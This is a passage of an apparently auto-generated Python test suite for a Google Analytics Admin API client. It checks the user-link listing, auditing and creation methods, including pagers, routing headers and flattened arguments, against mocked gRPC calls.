call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchGetUserLinksRequest()
@pytest.mark.asyncio
async def test_batch_get_user_links_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.BatchGetUserLinksRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_get_user_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.BatchGetUserLinksResponse()
)
response = await client.batch_get_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchGetUserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, analytics_admin.BatchGetUserLinksResponse)
@pytest.mark.asyncio
async def test_batch_get_user_links_async_from_dict():
await test_batch_get_user_links_async(request_type=dict)
def test_batch_get_user_links_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.BatchGetUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_get_user_links), "__call__"
) as call:
call.return_value = analytics_admin.BatchGetUserLinksResponse()
client.batch_get_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_batch_get_user_links_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.BatchGetUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_get_user_links), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.BatchGetUserLinksResponse()
)
await client.batch_get_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_user_links(
transport: str = "grpc", request_type=analytics_admin.ListUserLinksRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_user_links), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListUserLinksResponse(
next_page_token="next_page_token_value",
)
response = client.list_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListUserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListUserLinksPager)
assert response.next_page_token == "next_page_token_value"
def test_list_user_links_from_dict():
test_list_user_links(request_type=dict)
def test_list_user_links_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_user_links), "__call__") as call:
client.list_user_links()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListUserLinksRequest()
@pytest.mark.asyncio
async def test_list_user_links_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.ListUserLinksRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_user_links), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListUserLinksResponse(
next_page_token="next_page_token_value",
)
)
response = await client.list_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.ListUserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListUserLinksAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_list_user_links_async_from_dict():
await test_list_user_links_async(request_type=dict)
def test_list_user_links_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_user_links), "__call__") as call:
call.return_value = analytics_admin.ListUserLinksResponse()
client.list_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_user_links_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.ListUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_user_links), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListUserLinksResponse()
)
await client.list_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_user_links_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_user_links), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListUserLinksResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_user_links(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
def test_list_user_links_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_user_links(
analytics_admin.ListUserLinksRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_user_links_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_user_links), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.ListUserLinksResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.ListUserLinksResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_user_links(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
@pytest.mark.asyncio
async def test_list_user_links_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_user_links(
analytics_admin.ListUserLinksRequest(), parent="parent_value",
)
def test_list_user_links_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_user_links), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListUserLinksResponse(
user_links=[
resources.UserLink(),
resources.UserLink(),
resources.UserLink(),
],
next_page_token="abc",
),
analytics_admin.ListUserLinksResponse(
user_links=[], next_page_token="def",
),
analytics_admin.ListUserLinksResponse(
user_links=[resources.UserLink(),], next_page_token="ghi",
),
analytics_admin.ListUserLinksResponse(
user_links=[resources.UserLink(), resources.UserLink(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_user_links(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.UserLink) for i in results)
def test_list_user_links_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.list_user_links), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListUserLinksResponse(
user_links=[
resources.UserLink(),
resources.UserLink(),
resources.UserLink(),
],
next_page_token="abc",
),
analytics_admin.ListUserLinksResponse(
user_links=[], next_page_token="def",
),
analytics_admin.ListUserLinksResponse(
user_links=[resources.UserLink(),], next_page_token="ghi",
),
analytics_admin.ListUserLinksResponse(
user_links=[resources.UserLink(), resources.UserLink(),],
),
RuntimeError,
)
pages = list(client.list_user_links(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_user_links_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_user_links), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListUserLinksResponse(
user_links=[
resources.UserLink(),
resources.UserLink(),
resources.UserLink(),
],
next_page_token="abc",
),
analytics_admin.ListUserLinksResponse(
user_links=[], next_page_token="def",
),
analytics_admin.ListUserLinksResponse(
user_links=[resources.UserLink(),], next_page_token="ghi",
),
analytics_admin.ListUserLinksResponse(
user_links=[resources.UserLink(), resources.UserLink(),],
),
RuntimeError,
)
async_pager = await client.list_user_links(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.UserLink) for i in responses)
@pytest.mark.asyncio
async def test_list_user_links_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_user_links), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.ListUserLinksResponse(
user_links=[
resources.UserLink(),
resources.UserLink(),
resources.UserLink(),
],
next_page_token="abc",
),
analytics_admin.ListUserLinksResponse(
user_links=[], next_page_token="def",
),
analytics_admin.ListUserLinksResponse(
user_links=[resources.UserLink(),], next_page_token="ghi",
),
analytics_admin.ListUserLinksResponse(
user_links=[resources.UserLink(), resources.UserLink(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_user_links(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_audit_user_links(
transport: str = "grpc", request_type=analytics_admin.AuditUserLinksRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.audit_user_links), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.AuditUserLinksResponse(
next_page_token="next_page_token_value",
)
response = client.audit_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.AuditUserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.AuditUserLinksPager)
assert response.next_page_token == "next_page_token_value"
def test_audit_user_links_from_dict():
test_audit_user_links(request_type=dict)
def test_audit_user_links_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.audit_user_links), "__call__") as call:
client.audit_user_links()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.AuditUserLinksRequest()
@pytest.mark.asyncio
async def test_audit_user_links_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.AuditUserLinksRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.audit_user_links), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.AuditUserLinksResponse(
next_page_token="next_page_token_value",
)
)
response = await client.audit_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.AuditUserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.AuditUserLinksAsyncPager)
assert response.next_page_token == "next_page_token_value"
@pytest.mark.asyncio
async def test_audit_user_links_async_from_dict():
await test_audit_user_links_async(request_type=dict)
def test_audit_user_links_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.AuditUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.audit_user_links), "__call__") as call:
call.return_value = analytics_admin.AuditUserLinksResponse()
client.audit_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_audit_user_links_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.AuditUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.audit_user_links), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.AuditUserLinksResponse()
)
await client.audit_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_audit_user_links_pager():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.audit_user_links), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.AuditUserLinksResponse(
user_links=[
resources.AuditUserLink(),
resources.AuditUserLink(),
resources.AuditUserLink(),
],
next_page_token="abc",
),
analytics_admin.AuditUserLinksResponse(
user_links=[], next_page_token="def",
),
analytics_admin.AuditUserLinksResponse(
user_links=[resources.AuditUserLink(),], next_page_token="ghi",
),
analytics_admin.AuditUserLinksResponse(
user_links=[resources.AuditUserLink(), resources.AuditUserLink(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.audit_user_links(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, resources.AuditUserLink) for i in results)
def test_audit_user_links_pages():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.audit_user_links), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.AuditUserLinksResponse(
user_links=[
resources.AuditUserLink(),
resources.AuditUserLink(),
resources.AuditUserLink(),
],
next_page_token="abc",
),
analytics_admin.AuditUserLinksResponse(
user_links=[], next_page_token="def",
),
analytics_admin.AuditUserLinksResponse(
user_links=[resources.AuditUserLink(),], next_page_token="ghi",
),
analytics_admin.AuditUserLinksResponse(
user_links=[resources.AuditUserLink(), resources.AuditUserLink(),],
),
RuntimeError,
)
pages = list(client.audit_user_links(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_audit_user_links_async_pager():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.audit_user_links), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.AuditUserLinksResponse(
user_links=[
resources.AuditUserLink(),
resources.AuditUserLink(),
resources.AuditUserLink(),
],
next_page_token="abc",
),
analytics_admin.AuditUserLinksResponse(
user_links=[], next_page_token="def",
),
analytics_admin.AuditUserLinksResponse(
user_links=[resources.AuditUserLink(),], next_page_token="ghi",
),
analytics_admin.AuditUserLinksResponse(
user_links=[resources.AuditUserLink(), resources.AuditUserLink(),],
),
RuntimeError,
)
async_pager = await client.audit_user_links(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, resources.AuditUserLink) for i in responses)
@pytest.mark.asyncio
async def test_audit_user_links_async_pages():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.audit_user_links), "__call__", new_callable=mock.AsyncMock
) as call:
# Set the response to a series of pages.
call.side_effect = (
analytics_admin.AuditUserLinksResponse(
user_links=[
resources.AuditUserLink(),
resources.AuditUserLink(),
resources.AuditUserLink(),
],
next_page_token="abc",
),
analytics_admin.AuditUserLinksResponse(
user_links=[], next_page_token="def",
),
analytics_admin.AuditUserLinksResponse(
user_links=[resources.AuditUserLink(),], next_page_token="ghi",
),
analytics_admin.AuditUserLinksResponse(
user_links=[resources.AuditUserLink(), resources.AuditUserLink(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.audit_user_links(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_create_user_link(
transport: str = "grpc", request_type=analytics_admin.CreateUserLinkRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.UserLink(
name="name_value",
email_address="email_address_value",
direct_roles=["direct_roles_value"],
)
response = client.create_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateUserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.UserLink)
assert response.name == "name_value"
assert response.email_address == "email_address_value"
assert response.direct_roles == ["direct_roles_value"]
def test_create_user_link_from_dict():
test_create_user_link(request_type=dict)
def test_create_user_link_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_user_link), "__call__") as call:
client.create_user_link()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateUserLinkRequest()
@pytest.mark.asyncio
async def test_create_user_link_async(
transport: str = "grpc_asyncio", request_type=analytics_admin.CreateUserLinkRequest
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.UserLink(
name="name_value",
email_address="email_address_value",
direct_roles=["direct_roles_value"],
)
)
response = await client.create_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.CreateUserLinkRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.UserLink)
assert response.name == "name_value"
assert response.email_address == "email_address_value"
assert response.direct_roles == ["direct_roles_value"]
@pytest.mark.asyncio
async def test_create_user_link_async_from_dict():
await test_create_user_link_async(request_type=dict)
def test_create_user_link_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateUserLinkRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_user_link), "__call__") as call:
call.return_value = resources.UserLink()
client.create_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_user_link_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.CreateUserLinkRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_user_link), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.UserLink())
await client.create_user_link(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_user_link_flattened():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.UserLink()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_user_link(
parent="parent_value", user_link=resources.UserLink(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].user_link == resources.UserLink(name="name_value")
def test_create_user_link_flattened_error():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_user_link(
analytics_admin.CreateUserLinkRequest(),
parent="parent_value",
user_link=resources.UserLink(name="name_value"),
)
@pytest.mark.asyncio
async def test_create_user_link_flattened_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client.transport.create_user_link), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = resources.UserLink()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(resources.UserLink())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_user_link(
parent="parent_value", user_link=resources.UserLink(name="name_value"),
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].parent == "parent_value"
assert args[0].user_link == resources.UserLink(name="name_value")
@pytest.mark.asyncio
async def test_create_user_link_flattened_error_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_user_link(
analytics_admin.CreateUserLinkRequest(),
parent="parent_value",
user_link=resources.UserLink(name="name_value"),
)
def test_batch_create_user_links(
transport: str = "grpc", request_type=analytics_admin.BatchCreateUserLinksRequest
):
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_create_user_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = analytics_admin.BatchCreateUserLinksResponse()
response = client.batch_create_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchCreateUserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, analytics_admin.BatchCreateUserLinksResponse)
def test_batch_create_user_links_from_dict():
test_batch_create_user_links(request_type=dict)
def test_batch_create_user_links_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_create_user_links), "__call__"
) as call:
client.batch_create_user_links()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchCreateUserLinksRequest()
@pytest.mark.asyncio
async def test_batch_create_user_links_async(
transport: str = "grpc_asyncio",
request_type=analytics_admin.BatchCreateUserLinksRequest,
):
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_create_user_links), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.BatchCreateUserLinksResponse()
)
response = await client.batch_create_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == analytics_admin.BatchCreateUserLinksRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, analytics_admin.BatchCreateUserLinksResponse)
@pytest.mark.asyncio
async def test_batch_create_user_links_async_from_dict():
await test_batch_create_user_links_async(request_type=dict)
def test_batch_create_user_links_field_headers():
client = AnalyticsAdminServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.BatchCreateUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_create_user_links), "__call__"
) as call:
call.return_value = analytics_admin.BatchCreateUserLinksResponse()
client.batch_create_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_batch_create_user_links_field_headers_async():
client = AnalyticsAdminServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = analytics_admin.BatchCreateUserLinksRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.batch_create_user_links), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
analytics_admin.BatchCreateUserLinksResponse()
)
await client.batch_create_user_links(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_update_user_link(
transport: str = "grpc", request_type=analytics_admin.UpdateUserLinkRequest
):
client = AnalyticsAdminServiceClient(
